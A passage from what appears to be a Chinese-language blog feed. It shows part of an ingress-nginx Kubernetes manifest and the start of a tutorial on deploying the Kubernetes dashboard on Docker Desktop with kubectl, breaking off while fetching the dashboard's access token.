class="string">&quot;true&quot;</span></span><br><span class="line">    <span class="attr">service.beta.kubernetes.io/aws-load-balancer-type:</span> <span class="string">nlb</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-controller</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">externalTrafficPolicy:</span> <span class="string">Local</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">appProtocol:</span> <span class="string">http</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="string">http</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">appProtocol:</span> <span class="string">https</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">https</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">443</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="string">https</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">LoadBalancer</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-controller-admission</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">appProtocol:</span> <span class="string">https</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">https-webhook</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">443</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="string">webhook</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-controller</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">minReadySeconds:</span> <span class="number">0</span></span><br><span class="line">  <span class="attr">revisionHistoryLimit:</span> <span class="number">10</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">      <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">      <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">args:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">/nginx-ingress-controller</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--publish-service=$(POD_NAMESPACE)/ingress-nginx-controller</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--election-id=ingress-controller-leader</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--controller-class=k8s.io/ingress-nginx</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--ingress-class=nginx</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--configmap=$(POD_NAMESPACE)/ingress-nginx-controller</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--validating-webhook=:8443</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--validating-webhook-certificate=/usr/local/certificates/cert</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--validating-webhook-key=/usr/local/certificates/key</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">POD_NAME</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">fieldRef:</span></span><br><span class="line">              <span class="attr">fieldPath:</span> <span class="string">metadata.name</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">POD_NAMESPACE</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">fieldRef:</span></span><br><span class="line">              <span class="attr">fieldPath:</span> <span class="string">metadata.namespace</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">LD_PRELOAD</span></span><br><span class="line">          <span class="attr">value:</span> <span class="string">/usr/local/lib/libmimalloc.so</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">guolin123/ingress-nginx-controller:v1.2.0</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">lifecycle:</span></span><br><span class="line">          <span class="attr">preStop:</span></span><br><span class="line">            <span class="attr">exec:</span></span><br><span class="line">              <span class="attr">command:</span></span><br><span class="line">              <span class="bullet">-</span> <span class="string">/wait-shutdown</span></span><br><span class="line">        <span class="attr">livenessProbe:</span></span><br><span class="line">          <span class="attr">failureThreshold:</span> <span class="number">5</span></span><br><span class="line">          <span class="attr">httpGet:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/healthz</span></span><br><span class="line">            <span class="attr">port:</span> <span class="number">10254</span></span><br><span class="line">            <span class="attr">scheme:</span> <span class="string">HTTP</span></span><br><span class="line">          <span class="attr">initialDelaySeconds:</span> <span class="number">10</span></span><br><span class="line">          <span class="attr">periodSeconds:</span> <span class="number">10</span></span><br><span class="line">          <span class="attr">successThreshold:</span> <span class="number">1</span></span><br><span class="line">          <span class="attr">timeoutSeconds:</span> <span class="number">1</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">controller</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">          <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">443</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">https</span></span><br><span class="line">          <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">8443</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">webhook</span></span><br><span class="line">          <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">        <span class="attr">readinessProbe:</span></span><br><span class="line">          <span class="attr">failureThreshold:</span> <span class="number">3</span></span><br><span class="line">          <span class="attr">httpGet:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/healthz</span></span><br><span class="line">            <span class="attr">port:</span> <span class="number">10254</span></span><br><span class="line">            <span class="attr">scheme:</span> <span class="string">HTTP</span></span><br><span class="line">          <span class="attr">initialDelaySeconds:</span> <span class="number">10</span></span><br><span class="line">          <span class="attr">periodSeconds:</span> <span class="number">10</span></span><br><span class="line">          <span class="attr">successThreshold:</span> <span class="number">1</span></span><br><span class="line">          <span class="attr">timeoutSeconds:</span> <span class="number">1</span></span><br><span class="line">        <span class="attr">resources:</span></span><br><span class="line">          <span class="attr">requests:</span></span><br><span class="line">            <span class="attr">cpu:</span> <span class="string">100m</span></span><br><span class="line">            <span class="attr">memory:</span> <span class="string">90Mi</span></span><br><span class="line">        <span class="attr">securityContext:</span></span><br><span class="line">          <span class="attr">allowPrivilegeEscalation:</span> <span class="literal">true</span></span><br><span class="line">          <span class="attr">capabilities:</span></span><br><span class="line">            <span class="attr">add:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">NET_BIND_SERVICE</span></span><br><span class="line">            <span class="attr">drop:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">ALL</span></span><br><span class="line">          <span class="attr">runAsUser:</span> <span class="number">101</span></span><br><span class="line">        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/usr/local/certificates/</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">webhook-cert</span></span><br><span class="line">          <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">      <span class="attr">nodeSelector:</span></span><br><span class="line">        <span class="attr">kubernetes.io/os:</span> <span class="string">linux</span></span><br><span class="line">      <span class="attr">serviceAccountName:</span> <span class="string">ingress-nginx</span></span><br><span class="line">      <span class="attr">terminationGracePeriodSeconds:</span> <span class="number">300</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">webhook-cert</span></span><br><span class="line">        <span class="attr">secret:</span></span><br><span class="line">          <span class="attr">secretName:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Job</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission-create</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">ingress-nginx-admission-create</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">args:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">create</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--host=ingress-nginx-controller-admission,ingress-nginx-controller-admission.$(POD_NAMESPACE).svc</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--namespace=$(POD_NAMESPACE)</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--secret-name=ingress-nginx-admission</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">POD_NAMESPACE</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">fieldRef:</span></span><br><span class="line">              <span class="attr">fieldPath:</span> <span class="string">metadata.namespace</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">create</span></span><br><span class="line">        <span class="attr">securityContext:</span></span><br><span class="line">          <span class="attr">allowPrivilegeEscalation:</span> <span class="literal">false</span></span><br><span class="line">      <span class="attr">nodeSelector:</span></span><br><span class="line">        <span class="attr">kubernetes.io/os:</span> <span class="string">linux</span></span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">OnFailure</span></span><br><span class="line">      <span class="attr">securityContext:</span></span><br><span class="line">        <span class="attr">fsGroup:</span> <span class="number">2000</span></span><br><span class="line">        <span class="attr">runAsNonRoot:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">runAsUser:</span> <span class="number">2000</span></span><br><span class="line">      <span class="attr">serviceAccountName:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Job</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission-patch</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">        <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">ingress-nginx-admission-patch</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">args:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">patch</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--webhook-name=ingress-nginx-admission</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--namespace=$(POD_NAMESPACE)</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--patch-mutating=false</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--secret-name=ingress-nginx-admission</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">--patch-failure-policy=Fail</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">POD_NAMESPACE</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">fieldRef:</span></span><br><span class="line">              <span class="attr">fieldPath:</span> <span class="string">metadata.namespace</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">patch</span></span><br><span class="line">        <span class="attr">securityContext:</span></span><br><span class="line">          <span class="attr">allowPrivilegeEscalation:</span> <span class="literal">false</span></span><br><span class="line">      <span class="attr">nodeSelector:</span></span><br><span class="line">        <span class="attr">kubernetes.io/os:</span> <span class="string">linux</span></span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">OnFailure</span></span><br><span class="line">      <span class="attr">securityContext:</span></span><br><span class="line">        <span class="attr">fsGroup:</span> <span class="number">2000</span></span><br><span class="line">        <span class="attr">runAsNonRoot:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">runAsUser:</span> <span class="number">2000</span></span><br><span class="line">      <span class="attr">serviceAccountName:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">IngressClass</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">controller:</span> <span class="string">k8s.io/ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">admissionregistration.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ValidatingWebhookConfiguration</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">admission-webhook</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/instance:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/name:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/part-of:</span> <span class="string">ingress-nginx</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/version:</span> <span class="number">1.2</span><span class="number">.0</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ingress-nginx-admission</span></span><br><span class="line"><span class="attr">webhooks:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">admissionReviewVersions:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">v1</span></span><br><span class="line">  <span class="attr">clientConfig:</span></span><br><span class="line">    <span class="attr">service:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">ingress-nginx-controller-admission</span></span><br><span class="line">      <span class="attr">namespace:</span> <span class="string">ingress-nginx</span></span><br><span class="line">      <span class="attr">path:</span> <span class="string">/networking/v1/ingresses</span></span><br><span class="line">  <span class="attr">failurePolicy:</span> <span class="string">Fail</span></span><br><span class="line">  <span class="attr">matchPolicy:</span> <span class="string">Equivalent</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">validate.nginx.ingress.kubernetes.io</span></span><br><span class="line">  <span class="attr">rules:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">networking.k8s.io</span></span><br><span class="line">    <span class="attr">apiVersions:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">v1</span></span><br><span class="line">    <span class="attr">operations:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">CREATE</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">UPDATE</span></span><br><span class="line">    <span class="attr">resources:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ingresses</span></span><br><span class="line">  <span class="attr">sideEffects:</span> <span class="string">None</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ingress 是从 Kubernetes 集群外部访问集群内部服务的入口，你可以给 Ing</summary>
      
    
    
    
    <category term="kubernetes" scheme="https://32e.co/categories/kubernetes/"/>
    
    
    <category term="kubectl" scheme="https://32e.co/tags/kubectl/"/>
    
    <category term="k8s" scheme="https://32e.co/tags/k8s/"/>
    
    <category term="ingress" scheme="https://32e.co/tags/ingress/"/>
    
  </entry>
  
  <entry>
    <title>k8s-部署Kubernetes dashboard控制台</title>
    <link href="https://32e.co/2021/05/02/k8s-dashboard/"/>
    <id>https://32e.co/2021/05/02/k8s-dashboard/</id>
    <published>2021-05-02T15:25:22.000Z</published>
    <updated>2022-05-16T03:23:53.504Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;Kubernetes dashboard控制台是一个网页版的控制台，虽然好用，但实际上，我更加推荐使用<a href="https://docs.k8slens.dev/main/getting-started/">Lens</a>，这也是我目前正在使用的工具，Lens目前是市场上相对来说最强大的 Kubernetes IDE，它是一个独立的应用程序，可在 macOS、Windows 和 Linux 上使用。特别是有多个集群的时候，它的优点会更加明显，管理起来非常的方便。</p><p>Lens 地址：<a href="https://docs.k8slens.dev/main/getting-started/">https://docs.k8slens.dev/main/getting-started/</a></p><p>回到正题，本文同样基于AliyunContainerService提供的k8s-for-docker-desktop项目，使用的版本为v1.22.4。</p><h4 id="部署Kubernetes-dashboard"><a href="#部署Kubernetes-dashboard" class="headerlink" title="部署Kubernetes dashboard"></a>部署Kubernetes dashboard</h4><p>1，克隆代码，并切换分支到v1.22.4，最好用kubernetes对应版本的分支中kubernetes-dashboard.yaml文件，否则可能存在一些兼容问题</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/AliyunContainerService/k8s-for-docker-desktop.git</span><br><span class="line"><span class="built_in">cd</span> k8s-for-docker-desktop</span><br><span class="line">git checkout v1.22.4</span><br></pre></td></tr></table></figure><p>2，部署 Kubernetes dashboard</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f kubernetes-dashboard.yaml</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">namespace&#x2F;kubernetes-dashboard created</span><br><span class="line">serviceaccount&#x2F;kubernetes-dashboard created</span><br><span class="line">service&#x2F;kubernetes-dashboard created</span><br><span class="line">secret&#x2F;kubernetes-dashboard-certs created</span><br><span class="line">secret&#x2F;kubernetes-dashboard-csrf created</span><br><span class="line">secret&#x2F;kubernetes-dashboard-key-holder created</span><br><span class="line">configmap&#x2F;kubernetes-dashboard-settings created</span><br><span class="line">role.rbac.authorization.k8s.io&#x2F;kubernetes-dashboard created</span><br><span class="line">clusterrole.rbac.authorization.k8s.io&#x2F;kubernetes-dashboard created</span><br><span class="line">rolebinding.rbac.authorization.k8s.io&#x2F;kubernetes-dashboard created</span><br><span class="line">clusterrolebinding.rbac.authorization.k8s.io&#x2F;kubernetes-dashboard created</span><br><span class="line">deployment.apps&#x2F;kubernetes-dashboard created</span><br><span class="line">service&#x2F;dashboard-metrics-scraper created</span><br><span class="line">deployment.apps&#x2F;dashboard-metrics-scraper created</span><br></pre></td></tr></table></figure><p>3，检查 kubernetes-dashboard 应用状态</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl get pod -n kubernetes-dashboard</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">NAME                                        READY   STATUS    RESTARTS   AGE</span><br><span class="line">dashboard-metrics-scraper-c45b7869d-fd49v   1&#x2F;1     Running   0          3m25s</span><br><span class="line">kubernetes-dashboard-576cb95f94-qbqtz       1&#x2F;1     Running   0          3m25s</span><br></pre></td></tr></table></figure><p>4，以上应用都启动正常后，开启 API Server 访问代理</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl proxy</span><br></pre></td></tr></table></figure><p>代理开启后，通过如下 URL 访问 Kubernetes dashboard：<br><a href="http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/">http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/</a></p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/k8s/k8s-dashboard.png" alt="Kubernetes dashboard 登录页"></p><h4 id="配置控制台访问令牌"><a href="#配置控制台访问令牌" class="headerlink" title="配置控制台访问令牌"></a>配置控制台访问令牌</h4><p>1，权限相关配置与版本没多少关系，是公共的，所以相关文件都在master分支：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">git</span> <span class="string">checkout</span> <span class="string">master</span></span><br><span class="line"><span class="string">kubectl</span> <span class="string">apply</span> <span class="string">-f</span> <span class="string">kube-system-default.yaml</span></span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">clusterrolebinding.rbac.authorization.k8s.io&#x2F;kube-system-default created</span><br><span class="line">secret&#x2F;default created</span><br></pre></td></tr></table></figure><p>2，获取令牌</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">TOKEN&#x3D;$(kubectl -n kube-system describe secret default| awk &#39;$1&#x3D;&#x3D;&quot;token:&quot;&#123;print $2&#125;&#39;)</span><br><span class="line">kubectl config set-credentials docker-desktop --token&#x3D;&quot;$&#123;TOKEN&#125;&quot;</span><br><span class="line">echo 